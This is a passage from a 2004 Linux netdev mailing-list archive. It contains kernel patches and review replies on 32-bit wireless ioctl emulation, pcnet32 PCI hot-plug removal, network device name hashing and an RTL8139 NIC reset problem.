SIOCIWFIRST]); + descr = &(wireless_ioctl[cmd - SIOCIWFIRST]); #ifdef WE_IOCTL_DEBUG printk(KERN_DEBUG "%s (WE) : Found standard handler for 0x%04X\n", @@ -1041,8 +1041,8 @@ /* Get the description of the IOCTL */ if(cmd <= SIOCIWLAST) { cmd_index = cmd - SIOCIWFIRST; - if(cmd_index < standard_ioctl_num) - descr = &(standard_ioctl[cmd_index]); + if(cmd_index < wireless_ioctl_num) + descr = &(wireless_ioctl[cmd_index]); } else { cmd_index = cmd - IWEVFIRST; if(cmd_index < standard_event_num) diff -u linux-2.6.1-amd64/fs/compat_ioctl.c-WIRELESS linux-2.6.1-amd64/fs/compat_ioctl.c --- linux-2.6.1-amd64/fs/compat_ioctl.c-WIRELESS 2004-01-01 06:25:25.000000000 +0100 +++ linux-2.6.1-amd64/fs/compat_ioctl.c 2004-01-17 19:02:44.000000000 +0100 @@ -65,6 +65,8 @@ #include #include #include +#include +#include #include /* siocdevprivate_ioctl */ #include @@ -706,6 +708,69 @@ return err; } +#ifdef CONFIG_NET_RADIO + +extern const struct iw_ioctl_description wireless_ioctl[]; +extern int wireless_ioctl_num; + +/* assumes no padding */ +struct iw_point32 { + compat_uptr_t pointer; + u16 length; + u16 flags; +}; + +struct iwreq32 { + char ifrn_name[IFNAMSIZ]; + struct iw_point32 iw_point; +}; + +static int wireless_ioctl32(unsigned int fd, unsigned int cmd, unsigned long arg) +{ + int num = cmd - SIOCIWFIRSTPRIV; + if (num >= wireless_ioctl_num) { + printk(KERN_DEBUG "%s: unknown wireless ioctl %x\n", current->comm, cmd); + return -EINVAL; + } + + /* only iw_point needs conversion right now. If any others do add them + to this switch. */ + + switch (wireless_ioctl[num].header_type) { + case IW_HEADER_TYPE_POINT: { + int err; + compat_uptr_t ptr; + struct iwreq32 *i32 = (struct iwreq32 *)arg; + struct iwreq i, *iu = compat_alloc_user_space(sizeof(struct iwreq)); + + if (!access_ok(VERIFY_READ, i32, sizeof(struct iwreq32))) + return -EFAULT; + + err = __copy_from_user(i.ifr_ifrn.ifrn_name, i32->ifrn_name,IFNAMSIZ); + err |= __get_user(ptr, &i32->iw_point.pointer); + i.u.essid.pointer = compat_ptr(ptr); + err |= __get_user(i.u.essid.length, &i32->iw_point.length); + err |= __get_user(i.u.essid.flags, &i32->iw_point.flags);; + if (!err) + err |= copy_to_user(iu, &i, sizeof(struct iwreq)); + if (err) + return -EFAULT; + + arg = (unsigned long) iu; + break; + } + } + + return sys_ioctl(fd, cmd, arg); +} +#else +/* stub to avoid warning */ +static int wireless_ioctl32(unsigned int fd, unsigned int cmd, unsigned long arg) +{ + return -ENOTTY; +} +#endif + struct rtentry32 { u32 rt_pad1; struct sockaddr rt_dst; /* target address */ @@ -3133,6 +3198,39 @@ HANDLE_IOCTL(I2C_FUNCS, w_long) HANDLE_IOCTL(I2C_RDWR, do_i2c_rdwr_ioctl) HANDLE_IOCTL(I2C_SMBUS, do_i2c_smbus_ioctl) +/* wireless */ +HANDLE_IOCTL(SIOCIWFIRSTPRIV+0,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+1,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+2,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+3,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+4,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+5,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+6,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+7,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+8,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+9,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+10,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+11,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+12,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+13,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+14,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+15,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+16,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+17,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+18,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+19,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+20,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+21,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+22,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+23,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+24,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+25,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+26,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+27,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+28,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+29,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+30,wireless_ioctl32) +HANDLE_IOCTL(SIOCIWFIRSTPRIV+31,wireless_ioctl32) #undef DECLARES #endif From hch@infradead.org Mon Jan 19 04:39:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 04:40:00 -0800 (PST) Received: from phoenix.infradead.org (phoenix.infradead.org [213.86.99.234]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JCdkmK017393 for ; Mon, 19 Jan 2004 04:39:47 -0800 Received: from hch by phoenix.infradead.org with local (Exim 4.30 #5 (Red Hat Linux)) id 1AiYgz-0008Ug-8F; Mon, 19 Jan 2004 12:39:45 +0000 Date: Mon, 19 Jan 2004 12:39:45 +0000 From: Christoph Hellwig To: Andi Kleen Cc: netdev@oss.sgi.com, jt@hpl.hp.com Subject: Re: [PATCH] Add 32bit emulation for wireless Message-ID: <20040119123945.A32623@infradead.org> References: <20040119123343.GA16292@colin2.muc.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040119123343.GA16292@colin2.muc.de>; from ak@colin2.muc.de on Mon, Jan 19, 2004 at 01:33:43PM +0100 X-archive-position: 2586 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: netdev On Mon, Jan 19, 2004 at 01:33:43PM +0100, Andi Kleen wrote: > It reuses the existing ioctl description table, but renames it to > export it (standard_ioctls wasn't a good name for a global variable) What about register_ioctl32_conversion() from the wireless code to avoid exposing it? From rusty@samba.org Mon Jan 19 04:54:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 04:55:00 -0800 (PST) Received: from lists.samba.org (dp.samba.org [66.70.73.150]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JCsVmK018055 for ; Mon, 19 Jan 2004 04:54:32 -0800 Received: by lists.samba.org (Postfix, from userid 590) id 2C9AF2C462; Mon, 19 Jan 2004 12:01:21 +0000 (GMT) Date: Mon, 19 Jan 2004 22:42:19 +1100 From: Rusty Russell To: Andrew Morton Cc: jamagallon@able.es, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: 2.6.1-mm4 Message-Id: <20040119224219.65991501.rusty@rustcorp.com.au> In-Reply-To: <20040118001708.09291455.akpm@osdl.org> References: <20040115225948.6b994a48.akpm@osdl.org> <20040118001217.GE3125@werewolf.able.es> <20040117215535.0e4674b8.akpm@osdl.org> <20040118081128.GA3153@werewolf.able.es> <20040118001708.09291455.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i386-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2587 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rusty@rustcorp.com.au Precedence: bulk X-list: netdev On Sun, 18 Jan 2004 00:17:08 -0800 Andrew Morton wrote: > Presumably, recent gcc's remove the variable altogether and just expand the > constant inline. When the central module code checks for the parameter's > existence in the module's symbol table it errors out. MODULE_PARM considered harmful. Unfortunately, there's no easy way of fixing this, since MODULE_PARM() is often used on variables which aren't declared yet 8(. (I tried this in an early patch). Migrating to module_param() is the Right Thing here IMHO, which actually takes the damn address, Rusty. -- there are those who do and those who hang on and you don't see too many doers quoting their contemporaries. -- Larry McVoy From ak@suse.de Mon Jan 19 05:49:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 05:49:34 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JDnAmK022396 for ; Mon, 19 Jan 2004 05:49:10 -0800 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id DDFA71A10C2E; Mon, 19 Jan 2004 14:10:42 +0100 (CET) Date: Mon, 19 Jan 2004 14:10:41 +0100 From: Andi Kleen To: Christoph Hellwig Cc: ak@colin2.muc.de, netdev@oss.sgi.com, jt@hpl.hp.com Subject: Re: [PATCH] Add 32bit emulation for wireless Message-Id: <20040119141041.2cccbc3d.ak@suse.de> In-Reply-To: <20040119123945.A32623@infradead.org> References: <20040119123343.GA16292@colin2.muc.de> <20040119123945.A32623@infradead.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2588 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Mon, 19 Jan 2004 12:39:45 +0000 Christoph Hellwig wrote: > On Mon, Jan 19, 2004 at 01:33:43PM +0100, Andi Kleen wrote: > > It reuses the existing ioctl description table, but renames it to > > export it (standard_ioctls wasn't a good name for a global variable) > > What about register_ioctl32_conversion() from the wireless code to avoid > exposing it? At least for net/* stuff it seems to be standard to do it in the central file. All other networking ioctls are implemented this way too. -Andi From davem@pizda.ninka.net Mon Jan 19 06:07:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 06:07:28 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JE7FmK023116 for ; Mon, 19 Jan 2004 06:07:15 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id FAA19475; Mon, 19 Jan 2004 05:56:15 -0800 Date: Mon, 19 Jan 2004 05:56:15 -0800 From: "David S. Miller" To: Andi Kleen Cc: hch@infradead.org, ak@colin2.muc.de, netdev@oss.sgi.com, jt@hpl.hp.com Subject: Re: [PATCH] Add 32bit emulation for wireless Message-Id: <20040119055615.4380e157.davem@redhat.com> In-Reply-To: <20040119141041.2cccbc3d.ak@suse.de> References: <20040119123343.GA16292@colin2.muc.de> <20040119123945.A32623@infradead.org> <20040119141041.2cccbc3d.ak@suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2589 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Andi please see the current 2.6.x BK tree, I already put in preliminary work in this area. From ak@suse.de Mon Jan 19 06:40:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 06:40:25 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JEe5mK024305 for ; Mon, 19 Jan 2004 06:40:08 -0800 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 494EA1A116A2; Mon, 19 Jan 2004 15:39:21 +0100 (CET) Date: Mon, 19 Jan 2004 15:39:19 +0100 From: Andi Kleen To: "David S. Miller" Cc: hch@infradead.org, ak@colin2.muc.de, netdev@oss.sgi.com, jt@hpl.hp.com Subject: Re: [PATCH] Add 32bit emulation for wireless Message-Id: <20040119153919.14102937.ak@suse.de> In-Reply-To: <20040119055615.4380e157.davem@redhat.com> References: <20040119123343.GA16292@colin2.muc.de> <20040119123945.A32623@infradead.org> <20040119141041.2cccbc3d.ak@suse.de> <20040119055615.4380e157.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2590 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Mon, 19 Jan 2004 05:56:15 -0800 "David S. Miller" wrote: > > Andi please see the current 2.6.x BK tree, I already put in > preliminary work in this area. Went it in after 2.6.1? 2.6.1 definitely spews out warnings for it at every boot, that is why I did this. If it's already fixed that's fine for me of course. -Andi From davem@pizda.ninka.net Mon Jan 19 06:49:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 06:49:31 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JEnFmK024865 for ; Mon, 19 Jan 2004 06:49:15 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id GAA19582; Mon, 19 Jan 2004 06:39:21 -0800 Date: Mon, 19 Jan 2004 06:39:21 -0800 From: "David S. Miller" To: Andi Kleen Cc: hch@infradead.org, ak@colin2.muc.de, netdev@oss.sgi.com, jt@hpl.hp.com Subject: Re: [PATCH] Add 32bit emulation for wireless Message-Id: <20040119063921.586b37ac.davem@redhat.com> In-Reply-To: <20040119153919.14102937.ak@suse.de> References: <20040119123343.GA16292@colin2.muc.de> <20040119123945.A32623@infradead.org> <20040119141041.2cccbc3d.ak@suse.de> <20040119055615.4380e157.davem@redhat.com> <20040119153919.14102937.ak@suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2591 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 19 Jan 2004 15:39:19 +0100 Andi Kleen wrote: > Went it in after 2.6.1? Yes, Linus sucked it in like 10 hours ago, about 4 hours right before you made your initial posting on this thread. From ak@suse.de Mon Jan 19 07:26:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 07:26:32 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JFQ5mK026347 for ; Mon, 19 Jan 2004 07:26:05 -0800 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 1948B1A1105C; Mon, 19 Jan 2004 15:54:14 +0100 (CET) Date: Mon, 19 Jan 2004 15:54:12 +0100 From: Andi Kleen To: "David S. Miller" Cc: hch@infradead.org, ak@colin2.muc.de, netdev@oss.sgi.com, jt@hpl.hp.com Subject: Re: [PATCH] Add 32bit emulation for wireless Message-Id: <20040119155412.2bffee5a.ak@suse.de> In-Reply-To: <20040119063921.586b37ac.davem@redhat.com> References: <20040119123343.GA16292@colin2.muc.de> <20040119123945.A32623@infradead.org> <20040119141041.2cccbc3d.ak@suse.de> <20040119055615.4380e157.davem@redhat.com> <20040119153919.14102937.ak@suse.de> <20040119063921.586b37ac.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2592 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Mon, 19 Jan 2004 06:39:21 -0800 "David S. Miller" wrote: > On Mon, 19 Jan 2004 15:39:19 +0100 > Andi Kleen wrote: > > > Went it in after 2.6.1? > > Yes, Linus sucked it in like 10 hours ago, about 4 hours right before you made > your initial posting on this thread. Oh, I actually posted it yesterday but due a broken MTA it didn't go out @) But I didn't check BK anyways so it would not have made much difference. -Andi From brazilnut@us.ibm.com Mon Jan 19 08:20:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 08:20:50 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JGKMmK031217 for ; Mon, 19 Jan 2004 08:20:30 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0JGEY19330830; Mon, 19 Jan 2004 11:14:44 -0500 Received: from dyn318364bld.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0JGEMw9112998; Mon, 19 Jan 2004 09:14:22 -0700 Received: (from donf@localhost) by dyn318364bld.beaverton.ibm.com (8.11.6/8.11.6) id i0JGE9p10337; Mon, 19 Jan 2004 08:14:09 -0800 From: Don Fry Message-Id: <200401191614.i0JGE9p10337@dyn318364bld.beaverton.ibm.com> Subject: Re: Hot-plug for pcnet32 ? To: deller@gmx.de (Helge Deller) Date: Mon, 19 Jan 2004 08:14:08 -0800 (PST) Cc: linas@austin.ibm.com, tsbogend@alpha.franken.de, carstenl@mips.com, yoder1@us.ibm.com, go@turbolinux.co.jp, jamey@crl.dec.com, kaf@fc.hp.com, linux-net@vger.kernel.org, netdev@oss.sgi.com In-Reply-To: <200401180928.27635.deller@gmx.de> from "Helge Deller" at Jan 18, 2004 09:28:27 AM X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2593 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev > > > Any chance that anyone is thinking of adding hot-plug support > > to the pcnet32 driver? > > You want to give me a hotplug machine ? :-) > > Best regards, > Helge > - > To unsubscribe from this list: send the line "unsubscribe linux-net" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > > Here is a repeat of a patch to enable PCI Hot Plug for pcnet32. --- linux-2.6.0/drivers/net/pcnet32.c Wed Dec 10 10:43:25 2003 +++ linux-2.6.0p/drivers/net/pcnet32.c Wed Dec 10 14:59:40 2003 @@ -806,8 +806,12 @@ dev->tx_timeout = pcnet32_tx_timeout; dev->watchdog_timeo = (5*HZ); - lp->next = pcnet32_dev; - pcnet32_dev = dev; + if (pdev) + pci_set_drvdata(pdev, dev); + else { + lp->next = pcnet32_dev; + pcnet32_dev = dev; + } /* Fill in the generic fields of the device structure. */ register_netdev(dev); @@ -1703,9 +1707,25 @@ mod_timer (&(lp->watchdog_timer), PCNET32_WATCHDOG_TIMEOUT); } +static void __devexit pcnet32_remove_one(struct pci_dev *pdev) +{ + struct net_device *dev = pci_get_drvdata(pdev); + + if (dev) { + struct pcnet32_private *lp = dev->priv; + + unregister_netdev(dev); + release_region(dev->base_addr, PCNET32_TOTAL_SIZE); + pci_free_consistent(lp->pci_dev, sizeof(*lp), lp, lp->dma_addr); + free_netdev(dev); + pci_set_drvdata(pdev, NULL); + } +} + static struct pci_driver pcnet32_driver = { .name = DRV_NAME, .probe = pcnet32_probe_pci, + .remove = __devexit_p(pcnet32_remove_one), .id_table = pcnet32_pci_tbl, }; -- Don Fry brazilnut@us.ibm.com From davem@pizda.ninka.net Mon Jan 19 09:32:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 09:32:44 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JHWVmK001855 for ; Mon, 19 Jan 2004 09:32:31 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id JAA20141; Mon, 19 Jan 2004 09:24:36 -0800 Date: Mon, 19 Jan 2004 09:24:35 -0800 From: "David S. Miller" To: Robert Olsson Cc: joern@wohnheim.fh-wedel.de, buytenh@gnu.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] Re: [2.6.0, pktgen] divide-by-zero Message-Id: <20040119092435.25536daa.davem@redhat.com> In-Reply-To: <16395.5021.616055.384516@robur.slu.se> References: <20031231111316.GA10218@gnu.org> <20040118154802.GE10397@wohnheim.fh-wedel.de> <16395.5021.616055.384516@robur.slu.se> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2594 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 19 Jan 2004 00:15:41 +0100 Robert Olsson wrote: > I suggest the patch below to get integer precision at very short time > intervals too. Applied, thanks Robert. From davem@pizda.ninka.net Mon Jan 19 09:42:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 09:42:39 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JHgQmK002791 for ; Mon, 19 Jan 2004 09:42:26 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id JAA20172; Mon, 19 Jan 2004 09:34:29 -0800 Date: Mon, 19 Jan 2004 09:34:28 -0800 From: "David S. Miller" To: "Randy.Dunlap" Cc: netdev@oss.sgi.com Subject: Re: [janitor] sunrpc: handle copy*user and put_user errors Message-Id: <20040119093428.126f6f8d.davem@redhat.com> In-Reply-To: <20040118211300.3f90c945.rddunlap@osdl.org> References: <20040118211300.3f90c945.rddunlap@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2595 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sun, 18 Jan 2004 21:13:00 -0800 "Randy.Dunlap" wrote: > Please apply to 2.6.current. > > From: Eugene TEO Applied, thanks Randy. From jgarzik@pobox.com Mon Jan 19 11:04:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 11:04:44 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JJ4HmK008389 for ; Mon, 19 Jan 2004 11:04:18 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:41848 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AiaQ0-0006uL-TH; Mon, 19 Jan 2004 14:30:21 +0000 Message-ID: <400BE9F1.9020100@pobox.com> Date: Mon, 19 Jan 2004 09:30:09 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Meelis Roos CC: netdev@oss.sgi.com Subject: Re: 8139 resetting problem References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2596 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Meelis Roos wrote: > I helped to debug a problem with a onboard realtek (8100B/8139D) NIC in > a laptop (Clevo/KAPOK sceleton, sold as Ordi D27 in Estonia). The > problem is that sometimes Linux does not initialize the NIC well enough > so that I get messages about Tx timed out and DHCP not getting > addresses. DHCP server sees requests but the laptop never sees the > answers. > > Trial and error showed that the problem occurs only when doing hibernate > from Windows XP Pro and then (instead of bringing up Windows) booting > into Linux. Even soft reboot (or halt from Linux) doesn't cure it. Going > back into Windows and doing shutdown or restart cures it. > > This happened with different versions of Linux, 2.4.18 Debian, 2.6.0 > Debian, custom 2.6.0 and Knoppix (whatever version the newest Knoppix > uses). > > 8139too and rtl8139 drivers in 2.4.18 behaved the same. > > Is there anything that the 8139too driver could do to fully reset the > card on startup? This is unrelated to 8139too. 8139too completely resets the NIC hardware. When the machine is in this state, the NIC simply isn't receiving interrupts. The problem is "higher up", and cannot be solved at the NIC driver level... i.e. ACPI or BIOS or somesuch. Jeff From shemminger@osdl.org Mon Jan 19 11:29:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 11:29:19 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JJT5mK009329 for ; Mon, 19 Jan 2004 11:29:06 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0JJSoo13816; Mon, 19 Jan 2004 11:28:50 -0800 Date: Mon, 19 Jan 2004 11:28:50 -0800 From: Stephen Hemminger To: YOSHIFUJI Hideaki / =?ISO-8859-1?B?X19fX19fX19fX19f?= , davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] (2/4) support large number of network devices -- name hash Message-Id: <20040119112850.3b3575a7.shemminger@osdl.org> In-Reply-To: <20040117.112244.90941296.yoshfuji@linux-ipv6.org> References: <20040116154652.04dd3324.shemminger@osdl.org> <20040116154814.7c7f31ac.shemminger@osdl.org> <20040117.112244.90941296.yoshfuji@linux-ipv6.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2597 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Use strnlen, great idea, thanks. diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Mon Jan 19 11:30:20 2004 +++ b/net/core/dev.c Mon Jan 19 11:30:20 2004 @@ -192,8 +192,8 @@ static inline struct hlist_head *dev_name_hash(const char *name) { - size_t len = min(strlen(name),(size_t)(IFNAMSIZ-1)); - unsigned hash = full_name_hash(name, len); + unsigned hash = full_name_hash(name, + strnlen(name, IFNAMSIZ-1)); return &dev_name_head[hash & ((1<; Mon, 19 Jan 2004 11:32:18 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0JJW4o14384; Mon, 19 Jan 2004 11:32:05 -0800 Date: Mon, 19 Jan 2004 11:32:04 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: Alex Pankratov , netdev@oss.sgi.com Subject: [PATCH] more improvement to dev_alloc_name -- strnchr Message-Id: <20040119113204.5913a8d6.shemminger@osdl.org> In-Reply-To: <1074302619.40088e9bd44a6@www.geekmail.cc> References: <1074302619.40088e9bd44a6@www.geekmail.cc> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: 